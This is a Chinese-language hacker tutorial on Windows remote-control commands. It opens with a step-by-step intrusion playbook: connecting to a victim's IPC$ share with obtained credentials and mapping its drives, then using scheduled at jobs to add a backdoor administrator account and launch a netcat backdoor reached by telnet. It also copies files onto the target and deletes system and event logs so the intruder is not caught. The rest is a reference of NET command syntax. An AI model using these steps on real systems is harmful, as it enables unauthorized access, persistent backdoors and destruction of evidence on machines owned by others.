黑客常用的远程控制命令

fuchou-angle

黑客常用的远程控制命令
1：NET
只要你拥有某IP的用户名和密码，那就用IPC$做连接吧！
这里我们假如你得到的用户是hbx，密码是123456。假设对方IP为127.0.0.1
net use \\127.0.0.1\ipc$ "123456" /user:"hbx"
退出的命令是
net use \\127.0.0.1\ipc$ /delete
----------------------
下面的操作你必须登陆后才可以用.登陆的方法就在上面.
这里是将对方的C盘映射为本地的Z盘,当然其他盘也可以,只要存在就行了.
net use z: \\127.0.0.1\c$
这是断开映射的磁盘
net use Z: /delete
我们可以使用at命令在对方主机建立一个用户：
首先要确定对方主机是否开启了Task Scheduler服务（此服务不开，无法使用at命令）
如果对方的服务状态为禁止，可使用下面的命令将其设置为自动
SC \\127.0.0.1 config Schedule start= auto
SC config的命令语法如下：
Modifies a service entry in the registry and Service Database.
SYNTAX:
sc <server> config [service name] <option1> <option2>...
CONFIG OPTIONS:
NOTE: The option name includes the equal sign.
type= <own|share|interact|kernel|filesys|rec|adapt>
start= <boot|system|auto|demand|disabled>
error= <normal|severe|critical|ignore>
binPath= <BinaryPathName>
group= <LoadOrderGroup>
tag= <yes|no>
depend= <Dependencies(separated by / (forward slash))>
obj= <AccountName|ObjectName>
DisplayName= <display name>
password= <password>
接着输入以下命令开户此服务：
SC \\127.0.0.1 start Schedule
然后输入net time \\127.0.0.1 命令查看肉鸡服务器时间
如果返回时间值为“\\127.0.0.1 的当前时间是 2009/5/11 下午 03:01”
接着输入at \\127.0.0.1 15:02 net user test 123 /add创建一个test用户，密码：123
创建用户成功后使用at \\127.0.0.1 15:03 net localgroup Administrators test /add命
令将此用户加入管理员组。
----------------------
关于net user的其它用法：
这里是将Guest用户激活，guest是NT的默认用户，而且无法删除呢？不知道是否这样，我的2000就是删除不了它。
net user guest /active:yes
这里是把一个用户的密码改掉，我们把guest的密码改为lovechina，其他用户也可以的。只要有权限就行了呀！
net user guest lovechina
2：at命令的使用
一般一个入侵者入侵后都会留下后门，也就是种木马了，你把木马传了上去，怎么启动他呢？
那么需要用AT命令，这里假设你已经登陆了那个服务器。
你首先要得到对方的时间，
net time \\127.0.0.1
将会返回一个时间，这里假设时间为12:1,现在需要新建一个作业，其ID=1
这里假设了一个木马，名为NC.EXE,这个东西要在对方服务器上.
at \\127.0.0.1 12:3 d:\nc.exe
这里介绍一下NC,NC是NETCAT的简称,为了方便输入,一般会被改名.它是一个TELNET服务,端口为99.
等到了12:3就可以连接到对方的99端口.这样就给对方种下了木马.
3:telnet
这个命令非常实用,它可以与远方做连接，不过正常下需要密码、用户,不过你给对方种了木马,直接连到这个木马打开的端口.
telnet 127.0.0.1 99
这样就可以连到对方的99端口.那你就可以在对方运行命令了,这个也就是肉鸡.
5:copy
下面我说说怎样把本地的文件复制到对方硬盘上去，需要建立好IPC$连接才有效。
这里我们把本地C盘下的index.htm复制到127.0.0.1的C盘下
copy index.htm \\127.0.0.1\c$\index.htm
----------------------
如果你要复制到D盘下把C改为D，就行了！
copy index.htm \\127.0.0.1\d$\index.htm
----------------------
如果你要把他复制到WINNT目录里
就要输入
copy index.htm \\127.0.0.1\admin$\index.htm
admin$是winnt
----------------------
12:del
当你看到这个标题可别倒下啊！现在要离开127.0.0.1了，要删除日志，当然要删除日志啦！想被捉吗。呵呵。
NT的日志有这些
del C:\winnt\system32\logfiles\*.*
del C:\winnt\ssytem32\config\*.evt
del C:\winnt\system32\dtclog\*.*
del C:\winnt\system32\*.log
del C:\winnt\system32\*.txt
del C:\winnt\*.txt
del C:\winnt\*.log
    只要删除这些就可以了。有些系统NT安装在D盘或其他盘，就要把C改成其他盘。
(7)强制参数 所有net命令接受选项/yes和/no(可缩写为/y和/n)。[简单的说就是预先给系统的提问一个答案]
罗嗦了一大堆，其实就是6和7有用，呵呵 另有两件事：
(1)在NT的NET命令中有一些参数是只有在SERVER环境中才能使用的
(2)在WIN98的NET命令中有一些参数不能在DOS-WIN中使用，只能在DOS环境中使用

下面对NET命令的不同参数的基本用法做一些初步的介绍：
(1)NET VIEW
作 用：显示域列表、计算机列表或指定计算机的共享资源列表。
命令格式：net view [\\computername | /domain[:domainname>
参数介绍：
<1>键入不带参数的net view显示当前域的计算机列表。
<2>\\computername 指定要查看其共享资源的计算机。
<3>/domain[:domainname]指定要查看其可用计算机的域
简单事例
<1>net view \\YFANG查看YFANG的共享资源列表。
<2>net view /domain:LOVE查看LOVE域中的机器列表。

(2)NET USER
作 用：添加或更改用户帐号或显示用户帐号信息。该命令也可以写为 net users。
命令格式：net user [username [password | *] [options> [/domain]
参数介绍:
<1>键入不带参数的net user查看计算机上的用户帐号列表。
<2>username添加、删除、更改或查看用户帐号名。
<3>password为用户帐号分配或更改密码。
<4>*提示输入密码。
<5>/domain在计算机主域的主域控制器中执行操作。
简单事例：
<1>net user yfang查看用户YFANG的信息

(3)NET USE
作用：连接计算机或断开计算机与共享资源的连接，或显示计算机的连接信息。
命令格式：
NET USE
[devicename | *] [\\computername\sharename[\volume] [password | *]]
        [/USER:[domainname\]username]
        [/USER:[dotted domain name\]username]
        [/USER:[username@dotted domain name]
        [/SMARTCARD]
        [/SAVECRED]
        [[/DELETE] | [/PERSISTENT:{YES | NO}]]

NET USE {devicename | *} [password | *] /HOME

NET USE [/PERSISTENT:{YES | NO}]
参数介绍：
键入不带参数的net use列出网络连接。
devicename指定要连接到的资源名称或要断开的设备名称。 \\computername\sharename服务器及共享资源的名称。
password访问共享资源的密码。
*提示键入密码。 /user指定进行连接的用户名。
domainname指定另一个域。
username指定登录的用户名。
/home将用户连接到其宿主目录
/delete取消指定网络连接。
/persistent控制永久网络连接的使用。
简单事例：
<1>net use e: \\YFANG\TEMP将\\YFANG\TEMP目录建立为E盘
<2>net use e: \\YFANG\TEMP /delete断开连接
(4)NET TIME
作 用：使计算机的时钟与另一台计算机或域的时间同步。
命令格式：net time [\\computername | /domain[:name> [/set]
参数介绍：
<1>\\computername要检查或同步的服务器名。
<2>/domain[:name]指定要与其时间同步的域。
<3>/set使本计算机时钟与指定计算机或域的时钟同步。
下面的这4个参数是相关的，所以一起介绍
(5)Net Start
作 用：启动服务，或显示已启动服务的列表。
命令格式：net start service

(6)Net Pause
作 用：暂停正在运行的服务。
命令格式：net pause service

(7)Net Continue
作 用：重新激活挂起的服务。
命令格式：net continue service

(8)NET STOP
作 用：停止 Windows NT 网络服务。
命令格式：net stop service
参数介绍：我们来看看这些服务都是什么
<1>alerter(警报)
<2>client service for netware(Netware 客户端服务)
<3>clipbook server(剪贴簿服务器)
<4>computer browser(计算机浏览器)
<5>directory replicator(目录复制器)
<6>ftp publishing service (ftp )(ftp 发行服务)
<7>lpdsvc
<8>net logon(网络登录)
<9>network dde(网络 dde)
<10>network dde dsdm(网络 dde dsdm)
<11>network monitor agent(网络监控代理)
<12>nt lm security support provider(NT LM 安全性支持提供)
<13>ole(对象链接与嵌入)
<14>remote access connection manager(远程访问连接管理器)
<15>remote access isnsap service(远程访问 isnsap 服务)
<16>remote access server(远程访问服务器)
<17>remote procedure call (rpc) locator(远程过程调用定位器)
<18>remote procedure call (rpc) service(远程过程调用服务)
<19>schedule(调度)
<20>server(服务器)
<21>simple tcp/ip services(简单 TCP/IP 服务)
<22>snmp
<23>spooler(后台打印程序)
<24>tcp/ip netbios helper(TCP/IP NETBIOS 辅助工具)
<25>ups (26)workstation(工作站)
<27>messenger(信使)
<28>dhcp client
<29>eventlog 以下这些SERVICE只能在NT SERVER上使用
<< 1>>)file server for macintosh
<<2>>gateway service for netware
<<3>>microsoft dhcp server
<<4>>print server for macintosh
<<5>>remoteboot
<<6>>windows internet name service

(9)Net Statistics
作 用：显示本地工作站或服务器服务的统计记录。
命令格式：net statistics [workstation | server]
参数介绍：
<1>键入不带参数的net statistics列出其统计信息可用的运行服务。
<2>workstation显示本地工作站服务的统计信息。
<3>server显示本地服务器服务的统计信息。
简单事例:
<1>net statistics server | more显示服务器服务的统计信息
(10)Net Share
作 用：创建、删除或显示共享资源。
命令格式：net share sharename=drive:path [/users:number | /unlimited] [/remark:"text"]
参数介绍：
<1>键入不带参数的net share显示本地计算机上所有共享资源的信息。
<2>sharename是共享资源的网络名称。
<3>drive:path指定共享目录的绝对路径。
<4>/users:number设置可同时访问共享资源的最大用户数。
<5>/unlimited不限制同时访问共享资源的用户数。
<6>/remark:"text "添加关于资源的注释，注释文字用引号引住。
简单事例：
<1>net share mylove=c:\temp /remark:"my first share"
以mylove为共享名共享C:\temp
<2>net share mylove /delete停止共享mylove目录

(11)Net Session
作 用：列出或断开本地计算机和与之连接的客户端的会话，也可以写为net sessions或net sess。
命令格式：net session [\\computername] [/delete]
参数介绍：
<1>键入不带参数的net session显示所有与本地计算机的会话的信息。
<2>\\computername标识要列出或断开会话的计算机。
<3>/delete结束与\\computername计算机会话并关闭本次会话期间计算机的所有?
简单事例：
<1>net session \\YFANG要显示计算机名为YFANG的客户端会话信息列表。

(12)Net Send
作 用：向网络的其他用户、计算机或通信名发送消息。
命令格式：net send {name | * | /domain[:name] | /users} message 参数介绍：
<1>name要接收发送消息的用户名、计算机名或通信名。
<2>*将消息发送到组中所有名称。
<3>/domain[:name]将消息发送到计算机域中的所有名称。
<4>/users将消息发送到与服务器连接的所有用户。
<5>message作为消息发送的文本。
简单事例：
<1>net send /users server will shutdown in 5 minutes. 给所有连接到服务器的用户发送消息

(13)Net Print
作 用：显示或控制打印作业及打印队列。
命令格式：net print [\\computername ] job# [/hold | /release | /delete]
参数介绍：
<1>computername共享打印机队列的计算机名。
<2>sharename打印队列名称。
<3>job#在打印机队列中分配给打印作业的标识号。
<4>/hold使用 job# 时，在打印机队列中使打印作业等待。
<5>/release释放保留的打印作业。
<6>/delete从打印机队列中删除打印作业。
简单事例：
<1>net print \\YFANG\SEEME列出\\YFANG计算机上SEEME打印机队列的目录

(14)Net Name
作 用：添加或删除消息名（有时也称别名），或显示计算机接收消息的名称列表。
命令格式：net name [name [/add | /delete>
参数介绍：
<1>键入不带参数的net name列出当前使用的名称。
<2>name指定接收消息的名称。
<3>/add将名称添加到计算机中。
<4>/delete从计算机中删除名称。

(15)Net Localgroup
作 用：添加、显示或更改本地组。
命令格式：net localgroup groupname {/add [/comment:"text "] | /delete} [/domain]
参数介绍：
<1>键入不带参数的net localgroup显示服务器名称和计算机的本地组名称。
<2>groupname要添加、扩充或删除的本地组名称。
<3>/comment: "text "为新建或现有组添加注释。
<4>/domain在当前域的主域控制器中执行操作，否则仅在本地计算机上执行操作?
<5>name [ ...]列出要添加到本地组或从本地组中删除的一个或多个用户名或组名。
<6>/add将全局组名或用户名添加到本地组中。
<7>/delete从本地组中删除组名或用户名。
简单事例：
<1>net localgroup love /add将名为love的本地组添加到本地用户帐号数据库
<2>net localgroup love显示love本地组中的用户

(16)Net Group
作 用：在 Windows NT Server 域中添加、显示或更改全局组。
命令格式：net group groupname {/add [/comment:"text "] | /delete} [/domain]
参数介绍：
<1>键入不带参数的net group显示服务器名称及服务器的组名称。
<2>groupname要添加、扩展或删除的组。
<3>/comment:"text "为新建组或现有组添加注释。 <4>/domain在当前域的主域控制器中执行该操作，否则在本地计算机上执行操作?
<5>username[ ...]列表显示要添加到组或从组中删除的一个或多个用户。
<6>/add添加组或在组中添加用户名。
<7>/delete删除组或从组中删除用户名。
简单事例：
<1>net group love yfang1 yfang2 /add将现有用户帐号yfang1和yfang2添加到本地计算机的love组

(17)Net File
作 用：显示某服务器上所有打开的共享文件名及锁定文件数。
命令格式：net file [id [/close>
参数介绍：
<1>键入不带参数的net file获得服务器上打开文件的列表。
<2>id文件标识号。
<3>/close关闭打开的文件并释放锁定记录。

(18)Net Config
作 用：显示当前运行的可配置服务，或显示并更改某项服务的设置。
命令格式：net config [service [options>
参数介绍：
<1>键入不带参数的net config显示可配置服务的列表。
<2>service通过net config命令进行配置的服务(server或workstation)
<3>options服务的特定选项。

(19)Net Computer
作 用：从域数据库中添加或删除计算机。
命令格式：net computer \\computername {/add | /del}
参数介绍：
<1>\\computername指定要添加到域或从域中删除的计算机。
<2>/add将指定计算机添加到域。
<3>/del将指定计算机从域中删除。
简单事例：
<1>net computer \\cc /add将计算机 cc 添加到登录域

(20)Net Accounts
作 用：更新用户帐号数据库、更改密码及所有帐号的登录要求。
命令格式：net accounts [/forcelogoff:{minutes | no}] [/minpwlen:length] [/maxpwage:{days | unlimited}] [/minpwage:days] [/uniquepw:number] [/domain]
参数介绍：
<1>键入不带参数的net accounts显示当前密码设置、登录时限及域信息。
<2>/forcelogoff:{minutes | no}设置当用户帐号或有效登录时间过期时
<3>/minpwlen:length设置用户帐号密码的最少字符数。
<4>/maxpwage:{days | unlimited}设置用户帐号密码有效的最大天数。
<5>/minpwage:days设置用户必须保持原密码的最小天数。
<6>/uniquepw:number要求用户更改密码时，必须在经过number次后才能重复使用 与之相同的密码。
<7>/domain在当前域的主域控制器上执行该操作。 <8>/sync当用于主域控制器时，该命令使域中所有备份域控制器同步
简单事例：
<1>net accounts /minpwlen:7
将用户帐号密码的最少字符数设置为7
----------------------上面介绍的是NET命令在WINNT下的基本用法
----------------------下面我们看看NET命令在WIN98下的基本用法
在WIN98中NET命令也有一些参数 其中有一些参数的名字和功能及简单的使用方法和WINNT下的相应的参数的用法相同
其中有
(1)NET TIME命令
(2)NET PRINT命令
(3)NET USE命令
(4)NET VIEW命令
在WIN98中NET命令有一些参数 其中有一些参数的名字和WINNT下的相应的参数的名字相同但其用法却有些不同
其中有
(1)NET START
作 用：启动相应的服务。(不能在DOS-WIN中用)
命令格式：NET START [BASIC | NWREDIR | WORKSTATION | NETBIND | NETBEUI | NWLINK] [/LIST] [/YES] [/VERBOSE]
(2)NET STOP
作 用：停止相应的服务.(不能在DOS-WIN中用)
命令格式：NET STOP [BASIC | NWREDIR | WORKSTATION | NETBEUI | NWLINK] [/YES]

在WIN98中NET命令还有一些参数是在98下才有的
其中有
(1)NET DIAG
作 用：运行MS的DIAGNOSTICS程序显示网络的DIAGNOSTIC信息
命令格式：NET DIAGNOSTICS [/NAMES | /STATUS]
(2)NET INIT
作 用：不通过绑定来加载协议或网卡驱动(不能在DOS-WIN中用)
命令格式：NET INITIALIZE [/DYNAMIC]
(3)NET LOGOFF
作 用：断开连接的共享资源(不能在DOS-WIN中用)
(4)NET LOGON
作 用：在WORKGROUP中登陆(不能在DOS-WIN中用)
命令格式：NET LOGON [user [password | ?> [/DOMAIN:name] [/YES] [/SAVEPW:NO]
(5)NET PASSWORD
作 用：更改你的网络登陆口令(不能在DOS-WIN中用)
命令格式：NET PASSWORD \\computer | /DOMAIN:name [user [oldpassword [newpassword>]